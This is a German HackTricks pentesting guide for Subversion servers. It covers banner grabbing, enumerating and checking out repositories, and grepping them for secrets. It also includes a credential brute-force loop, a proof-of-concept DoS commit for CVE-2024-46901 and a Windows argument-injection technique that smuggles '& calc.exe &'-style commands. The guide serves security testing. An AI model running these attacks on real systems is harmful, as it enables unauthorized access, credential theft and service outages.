3690/tcp - Pentesting Subversion (SVN) Server
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Subversion (SVN) ist ein zentralisiertes Versionskontrollsystem (Apache-Lizenz), das für Software-Versionsverwaltung und Revisionskontrolle verwendet wird.
Standardport: 3690/tcp (svnserve). Es kann auch über HTTP/HTTPS durch mod_dav_svn und über svn+ssh bereitgestellt werden.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeration
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confkannanon-access = read(oder sogar write) erlauben. Wenn du auflisten kannst, versuchecheckout, um Geheimnisse, Skripte und CI-Token auszulesen.- Repositories speichern häufig Build-Pipelines, Deployment-Keys und Datenbank-Zugangsdaten in versionierten Konfigurationsdateien. Durchsuche die Working Copy nach dem Checkout:
grep -R "password\|secret\|token" -n .. - Wenn svn+ssh aktiviert ist, erlauben Benutzer-Shells oft eingeschränkte
svnserve-Befehle; versuchessh user@host svnserve -tmit speziell gestalteten Subcommands, um Wrapper zu umgehen.
Bruteforcing credentials (svnserve)
sasl-Authentifizierung (falls aktiviert) und einfache Passwortdateien sind nur durch den Transport geschützt; standardmäßig gibt es keine Sperrung. Eine kurze Bash-Schleife kann Anmeldeinformationen ausprobieren:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Aktuelle Schwachstellen (praktische Auswirkungen)
mod_dav_svn DoS durch Steuerzeichen (CVE-2024-46901)
- Ein Benutzer mit Commit-Rechten kann einen Pfad schreiben, der Steuerzeichen enthält (z. B.
\x01,\x7f), und dadurch das Repository beschädigen, sodass spätere checkouts/logs fehlschlagen und möglicherweisemod_dav_svn-Worker abstürzen. - Betroffen ist Subversion ≤ 1.14.4, wenn sie über HTTP(S) (
mod_dav_svn) bereitgestellt wird. Behoben in 1.14.5. - PoC-Commit mit
svnmucc(erfordert gültige commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Nach dem Commit können normale Clients abstürzen oder Updates verweigern, bis Admins die Revision manuell mit
svnadmin dump/filter/loadentfernen.
Windows argument injection in svn client (CVE-2024-45720)
- Unter Windows erlaubt die “best-fit”-Zeichencodierung in
svn.execommand-line argument injection, wenn speziell gestaltete nicht‑ASCII-Pfade/URLs verarbeitet werden, was potenziell zur Ausführung beliebiger Programme führen kann. - Betrifft Subversion ≤ 1.14.3 nur unter Windows; behoben in 1.14.4. Angriffsfläche: phishing eines Entwicklers, ihn dazu zu bringen,
svnauf einer vom Angreifer kontrollierten URL/Path auszuführen. - Pentest angle: wenn du ein Netzlaufwerk oder eine ZIP-Datei kontrollierst, die einem Windows-Entwickler gegeben wird, benenne eine Repo-URL oder einen working-copy-Pfad so, dass er best-fit-Bytes enthält, die in
" & calc.exe & "-artige injizierte Argumente dekodieren, und bring das Opfer dazu,svn statusoder ähnliches auf diesem Pfad auszuführen.
Hinweise zum Exploitation-Workflow
- Zugriffsart prüfen:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), odersvn+ssh://. - Zuerst anonymen Lesezugriff versuchen; dann gängige Anmeldedaten austesten. Falls HTTP Basic verwendet wird, wiederverwende Anmeldedaten, die anderswo gefunden wurden.
- Hooks enumerieren:
hooks/pre-commit,post-commit-Skripte enthalten manchmal Klartext-Anmeldedaten oder Hostnamen. svn:externalsnutzen, um zusätzliche Pfade von anderen Hosts zu ziehen; liste sie mitsvn propget svn:externals -R .nach dem Checkout auf.- Version leaks: HTTP-Antwort-Header von
mod_dav_svnzeigen normalerweise die Subversion- und Apache-Version; vergleiche mit 1.14.5, um verwundbare Ziele zu identifizieren. - Wenn du Dateisystemzugriff auf das Repo erhältst, erlauben
svnadmin dump/svnlook author/svnlook dirs-changedeine Offline-Analyse ohne Anmeldedaten.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


